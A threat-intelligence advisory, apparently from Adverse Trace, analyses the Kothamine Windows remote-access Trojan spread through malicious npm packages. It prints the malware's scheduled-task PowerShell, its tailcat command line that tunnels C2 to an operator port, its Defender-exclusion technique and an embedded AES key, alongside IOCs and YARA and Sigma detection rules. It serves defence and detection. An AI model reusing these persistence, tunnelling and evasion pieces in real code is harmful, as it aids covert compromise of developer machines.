~/f4n6 $ grep -r "Kothamine malware uses Tailscale’s tailcat to evade network detection" ./investigations/ --include="*.md"

Kothamine malware uses Tailscale’s tailcat to evade network detection

Jeff Davies 25 Sep 2026 10 min read

1. Executive summary

Malwarebytes has documented an undocumented Windows remote-access Trojan it calls Kothamine Agent, a C/C++ implant with more than 30 commands that is distributed through malicious npm packages and, in recent builds, receives commands over tailcat, an open-source Tailscale data-plane tool that needs no account, no device registration and no fixed C2 domain. The implant injects into explorer.exe, adds Windows Defender exclusions, persists via a scheduled task, and can load operator-supplied DLLs at runtime; some builds add browser-credential theft, screenshots, screen sharing and camera and microphone capture. No CVE is involved and there is no patch to apply: the exposure is supply-chain, through developer workstations and CI runners that install npm packages, and the detection problem is that tailcat traffic has no blockable domain and no conventional C2 infrastructure. EMEA financial services firms with in-house or contracted JavaScript development are the relevant population; the same developer machines frequently hold production credentials and access to internal repositories. No verified reference data (CVSS, CISA KEV state) was resolved for this item, so no severity score is asserted here.

2. Regulatory framing

Article Trigger (the fact in this item) Practical impact
NIS2 Art. 21(2)(d): supply chain security measures Kothamine is delivered through malicious npm packages (dotnet-runtime-base and two further packages by the same publisher, since removed), so the compromise enters through a software dependency rather than a direct intrusion. Entities in scope must be able to show security measures applied to the software supply chain, including how third-party and open-source packages are vetted before they reach build systems. A package pulled from a public registry is a supply-chain dependency regardless of whether a contract exists.
DORA Art. 28: ICT third-party risk, general principles The delivery path is a public package registry and a GitHub repository, not a contracted vendor, and the implant's C2 rides on Tailscale's relay infrastructure (DERP), a third-party service the victim never engaged. Third-party risk assessment has to account for dependencies and infrastructure the firm does not contract with directly. Concentration and exit questions apply to the relay path as much as to a named vendor.

No DORA incident-reporting article is engaged on the facts available: the source describes malware capability and distribution, not a confirmed incident at any named institution. If a client confirms Kothamine on a production system, DORA Art. 17, 18 and 19 and NIS2 Art. 23 become live and the classification and reporting clocks start from that confirmation.

3. Technical analysis & attack chain

Kothamine is a Windows RAT written in C and C++. In most samples Malwarebytes analysed it ships as two components: an injector executable and a DLL holding the agent. The agent exposes more than 30 commands and can load additional DLLs at runtime to extend itself. The source is a single vendor report; the technical detail below is single-sourced and should be verified against your own telemetry before it is used to drive enforcement.

Confirmed chain, as described:

  1. Delivery. A developer installs a malicious npm package. The package named in the report, dotnet-runtime-base, downloads and runs npm-sc-legit.exe from a GitHub repository (https://github[.]com/cphc811-ui/). That executable is a compiled Kothamine build that also carries data-stealing commands. Two other packages from the same publisher had been removed at the time of writing. The same repository is cited in a separate advisory about the package, attributed in the source to Mondoo.
  2. Staging. The injector copies itself to %ROAMING%\MicrosoftEdgeUpdateCore.exe and extracts the agent DLL to %ROAMING%\MicrosoftEdgeUpdateCore.dll. It writes up.ps1 to %TEMP%.
  3. Defence evasion. The injector runs PowerShell to add Windows Defender exclusions for the Desktop path, both dropped files, and the process names MicrosoftEdgeUpdateCore.exe and MicrosoftEdgeUpdateCore.dll, using Add-MpPreference -ExclusionPath and -ExclusionProcess.
  4. Persistence. up.ps1 registers a scheduled task named MicrosoftEdgeUpdateTask that runs the injector at logon:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
  1. Injection. The injector opens explorer.exe with OpenProcess, allocates with VirtualAllocEx, writes with WriteProcessMemory, and starts the agent with CreateRemoteThread and LoadLibraryA.
  2. Agent start. The agent creates the mutex Local\KothamineAgentInstance and starts its main thread.
  3. C2 channel. Recent builds extract tailcat from their own resources to %ROAMING%\TailscalePortable\tailcat.exe and launch it with CreateProcessA:
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444

This binds the operator's node port 4444 to local TCP port 18080. The agent then connects to 127.0.0.1:18080 over ordinary socket calls. There is no C2 domain to block and no external listener on the host.

  1. Registration and command loop. If the agent ID string is non-empty, the agent sends an encrypted profile request: {"name":"base_","os":"Windows","ip":"0.0.0.0","auth_token":"af27…","type":"base"}. It then enters an infinite loop, waiting on the select socket function and sending periodic KEEP-ALIVE messages when no command arrives. Messages are encrypted and decrypted with AES-GCM; the 32-byte key is base64-decoded from the embedded string mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=.
  2. Command execution. Commands cover system and process enumeration (sysinfo, systeminfo, curpid, tasklist, kill, ping, ipconfig), shell execution (exec, shell_exec, which run through _popen() and return output), file and directory operations (mkdir, rmdir, cp, mv, cd, ls, dir, pwd, writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download), and a plugin system (load_feature, exec_feature, features, list_features, unload_feature).
  3. Plugin loading. load_featuredecodes a base64 DLL, writes it to a temp path (GetTempPath, SHGetFolderPathA, or the hardcoded C:\Windows\Temp), loads it with LoadLibraryA, resolves GetFeatureApi with GetProcAddress, and calls it. The returned structure carries version, name, init, exec and cleanup pointers; init is passed the C2 send callback. Loaded modules are tracked in a global g_features map. Malwarebytes did not obtain a DLL that fully exposes the structure, so the FeatureApi layout above is reconstructed from code and strings, not confirmed from a sample.

Older builds differ in three ways that matter for detection. They used the Tailscale VPN rather than tailcat, downloading and running the installer from the Tailscale website with /quiet and /silent, or pulling tailscaled.exe, tailscale.exe, tailscale-ipn.exe and wintun.dll directly from GitHub. Some builds bypass UAC through fodhelper.exe to run an elevated.ps1 that starts Tailscale and then connects to port 4444 on a 100.x.x.x Tailscale address. Strings were unencrypted in early versions; recent versions decrypt inline or through per-string XOR functions with a different key per string. The build uploaded to GitHub adds getdiscord, getsessions, screenshot, screenshare and camera commands.

Why tailcat matters. Tailcat uses Tailscale's data plane (WireGuard, NAT traversal, DERP relays) without its control plane. Per the project's own documentation, that means no IP addresses, accounts, admins, users, administrative controls or governance, and no account or device registration is required. Access is by possession of a tailcat address and the public keys identifying the connecting devices. It needs no privileged access on the host because it runs as a CLI tool with userspace libraries. The connection is not fully anonymous: hosted relays may retain metadata logs. For a defender this removes the usual pivot. There is no C2 domain in DNS logs, no certificate to fingerprint, and the only local artefact is a loopback connection to 127.0.0.1:18080.

Confidence caveats. All of the above is single-sourced to Malwarebytes. The npm package names, the GitHub account, the mutex, the AES key, the file paths and the scheduled-task name are as reported and have not been independently corroborated here. No threat actor is named in the source and no MITRE ATT&CK group profile is available, so no attribution is made. The source does not state which sectors or regions have been targeted, how many installs occurred, or whether any victim confirmed data theft.

4. Mitigation & containment

P1, within 24 hours:

  • Hunt for the two dropped files by name and path across all Windows endpoints and build hosts: %ROAMING%\MicrosoftEdgeUpdateCore.exe and %ROAMING%\MicrosoftEdgeUpdateCore.dll. Treat presence as compromise, not as a suspicious file.
  • Hunt for the scheduled task MicrosoftEdgeUpdateTask and for any task whose action executes MicrosoftEdgeUpdateCore.exe. Remove the task and quarantine the files together; removing one without the other leaves persistence or payload in place.
  • Hunt for the mutex Local\KothamineAgentInstance. It is a reliable single-host indicator that the agent is running.
  • Audit Windows Defender exclusions on every developer endpoint and CI runner. Any exclusion for MicrosoftEdgeUpdateCore.exe, MicrosoftEdgeUpdateCore.dll, or a user Desktop path that your team did not create should be removed and the host treated as compromised. The implant adds these itself via Add-MpPreference.
  • Search process telemetry for tailcat.exe executing from %ROAMING%\TailscalePortable\ with a forward argument and a port mapping of the form 18080:4444, and for any process connecting to 127.0.0.1:18080. Legitimate Tailscale deployments do not run tailcat from a user Roaming profile.
  • If a host is confirmed, isolate it, capture memory before rebuild, and rotate every credential, token and SSH key reachable from that host, including npm tokens, cloud CLI sessions and repository credentials. The implant has file read and write, shell execution and, in some builds, browser-credential theft.

P2, within 72 hours:

  • Inventory npm dependencies across all projects and CI pipelines for dotnet-runtime-base and for any package published by the same maintainer account. The source names only that one package; the other two were removed before publication and are not named, so the check has to be by publisher and by install-time behaviour, not by name alone.
  • Block or alert on outbound connections to the GitHub account https://github[.]com/cphc811-ui/ at the proxy and in CI egress rules. This is a single-sourced indicator; verify before enforcing a hard block that could affect unrelated users of that account.
  • Restrict CI runners from executing downloaded binaries at install time. npm lifecycle scripts that fetch and run an .exe from a repository are the delivery mechanism here; disabling install scripts for untrusted packages, or requiring them to run in a sandbox with no credential access, breaks the chain.
  • Review whether tailcat or portable Tailscale binaries are permitted to run on developer endpoints. If your estate has no legitimate use for tailcat, block execution of tailcat.exe by path and by hash where you have one.

P3, within 7 days:

  • Add the file paths, the scheduled-task name and the mutex to EDR detection content and to your build-host hardening baseline.
  • Require provenance checks before new npm packages enter a build: publisher history, repository, dependency tree and release cadence. The source's own guidance is to check the repository, maintainers, dependencies and recent releases, and to prefer packages with an established history.
  • Confirm that your DORA Art. 28 third-party register captures public package registries and relay infrastructure as dependencies, since neither is a contracted vendor.

No vendor patch exists for this item. There is no CVE and no fixed version to move to; the fixes are detection, credential rotation and supply-chain controls.

5. Indicators of compromise

type value confidence source
sha256 ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0 medium Malwarebytes (Kothamine Injector analysed in the blog)
sha256 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c medium Malwarebytes (Kothamine Agent analysed in the blog)
file path %ROAMING%\MicrosoftEdgeUpdateCore.exe medium Malwarebytes
file path %ROAMING%\MicrosoftEdgeUpdateCore.dll medium Malwarebytes
file path %ROAMING%\TailscalePortable\tailcat.exe medium Malwarebytes
file path %TEMP%\up.ps1 medium Malwarebytes
scheduled task MicrosoftEdgeUpdateTask medium Malwarebytes
mutex Local\KothamineAgentInstance medium Malwarebytes
domain github[.]com/cphc811-ui/ low Malwarebytes (repository used to download Tailscale binaries and the Kothamine executable)
string mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= medium Malwarebytes (embedded base64 AES-GCM C2 key)
port 127.0.0.1:18080 medium Malwarebytes (local tailcat listener)

All indicators are single-sourced to Malwarebytes. Verify before enforcement. The GitHub account is a live, legitimate platform URL and is listed as a repository used by the campaign, not as attacker-owned infrastructure; treat it as a hunting lead, not a block list entry, until corroborated.

sha256  ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0
sha256  74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c
file path  %ROAMING%\MicrosoftEdgeUpdateCore.exe
file path  %ROAMING%\MicrosoftEdgeUpdateCore.dll
file path  %ROAMING%\TailscalePortable\tailcat.exe
file path  %TEMP%\up.ps1
scheduled task  MicrosoftEdgeUpdateTask
mutex  Local\KothamineAgentInstance
domain  github[.]com/cphc811-ui/
string  mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
port  127.0.0.1:18080

Behavioural indicators:

behaviour where to observe confidence
PowerShell invoking Add-MpPreference with -ExclusionPath or -ExclusionProcess for MicrosoftEdgeUpdateCore.exe or MicrosoftEdgeUpdateCore.dll PowerShell script block logging (4104), process command line medium
tailcat.exe launched from %ROAMING%\TailscalePortable\ with a forward argument and a port pair such as 18080:4444 process creation telemetry, command line medium
Process connecting to 127.0.0.1:18080 network telemetry, Sysmon event 3 medium
explorer.exe loading an unsigned DLL from a user Roaming path image load telemetry, Sysmon event 7 medium
Scheduled task created at logon running a binary from %ROAMING% task creation telemetry, Security 4698 medium
Outbound WireGuard or DERP relay traffic from a developer endpoint with no managed Tailscale client installed firewall, proxy, netflow low

6. Detection

YARA, built from artefacts of the implant itself (mutex, dropped filenames, the embedded key, the scheduled-task name and the tailcat launch path):

rule Kothamine_Agent_Artefacts
{
    meta:
        author = "Adverse Trace"
        date = "2026-09-25"
        reference = "https://www.malwarebytes.com/blog/threat-intel/2026/09/kothamine-malware-uses-tailscales-tailcat-to-evade-network-detection"
        description = "Detects strings associated with the Kothamine Agent RAT, including its mutex, dropped file names, embedded C2 key and tailcat launch path."
        confidence = "medium - single-sourced to Malwarebytes"

    strings:
        $mutex   = "Local\\KothamineAgentInstance" ascii wide
        $drop1   = "MicrosoftEdgeUpdateCore.exe" ascii wide
        $drop2   = "MicrosoftEdgeUpdateCore.dll" ascii wide
        $task    = "MicrosoftEdgeUpdateTask" ascii wide
        $key     = "mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=" ascii
        $tailcat = "TailscalePortable\\tailcat.exe" ascii wide
        $feat    = "GetFeatureApi" ascii
        $cmd1    = "load_feature" ascii
        $cmd2    = "exec_feature" ascii
        $cmd3    = "unload_feature" ascii

    condition:
        uint16(0) == 0x5A4D and 3 of them
}

Sigma, for the persistence and defence-evasion behaviour:

title: Kothamine Agent persistence via MicrosoftEdgeUpdateTask
id: 8f3c1a52-6b7e-4d21-9c0a-2e5f7b1d4a90
status: experimental
description: Detects creation of the scheduled task used by Kothamine Agent for persistence, or execution of its dropped injector from a user Roaming profile.
author: Adverse Trace
date: 2026/09/25
references:

    - https://www.malwarebytes.com/blog/threat-intel/2026/09/kothamine-malware-uses-tailscales-tailcat-to-evade-network-detection
logsource:
    product: windows
    service: security
detection:
    selection_task:
        EventID: 4698
        TaskName|endswith: 'MicrosoftEdgeUpdateTask'
    selection_action:
        EventID: 4698
        TaskContent|contains: 'MicrosoftEdgeUpdateCore.exe'
    condition: selection_task or selection_action
falsepositives:

    - Legitimate Microsoft Edge update tasks use different names and paths; verify the executing binary is under a user Roaming profile.
level: high
title: Kothamine Agent Defender exclusion and tailcat launch
id: 2d9b4c77-1a3e-4f58-8b62-7c0e5a9d3f11
status: experimental
description: Detects the PowerShell Defender exclusion commands and the tailcat forward launch used by Kothamine Agent.
author: Adverse Trace
date: 2026/09/25
references:

    - https://www.malwarebytes.com/blog/threat-intel/2026/09/kothamine-malware-uses-tailscales-tailcat-to-evade-network-detection
logsource:
    category: process_creation
    product: windows
detection:
    selection_exclusion:
        CommandLine|contains|all:

            - 'Add-MpPreference'
            - 'MicrosoftEdgeUpdateCore'
    selection_tailcat:
        Image|endswith: '\tailcat.exe'
        CommandLine|contains: 'forward'
    condition: selection_exclusion or selection_tailcat
falsepositives:

    - Administrative scripts adding Defender exclusions for legitimate Edge update components; confirm the path is not a user Roaming profile.
level: high

7. Sources

  • Malwarebytes, "Kothamine malware uses Tailscale's tailcat to evade network detection", https://www.malwarebytes.com/blog/threat-intel/2026/09/kothamine-malware-uses-tailscales-tailcat-to-evade-network-detection, 2026-09-25.

Single source. No independent vendor report, government advisory or CVE record was available for this item, and no verified reference data (CVSS, CISA KEV state) was resolved.

8. Adverse Trace position

We assess this as a supply-chain exposure with a detection problem rather than a vulnerability to patch, and we are not assigning a CVSS score because no verified reference data was resolved for the item. The implant's capability set is broad and its tailcat C2 removes the domain and IP pivots most network monitoring relies on, but the delivery path is narrow: a developer or CI runner has to install one of a small number of malicious npm packages. Firms with no JavaScript build pipeline in scope carry little direct exposure. Firms that do should treat any host showing the dropped files, the scheduled task or the mutex as compromised and rotate credentials from it. Every technical claim here is single-sourced to Malwarebytes; we have not independently corroborated the package names, the GitHub account or the hashes, and we make no attribution, since the source names no actor and no MITRE profile is available. We will monitor for a second vendor report or a registry takedown notice that corroborates the npm package set, and we will reissue this advisory with a severity score if verified reference data is resolved or if a confirmed victim incident is reported.


Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies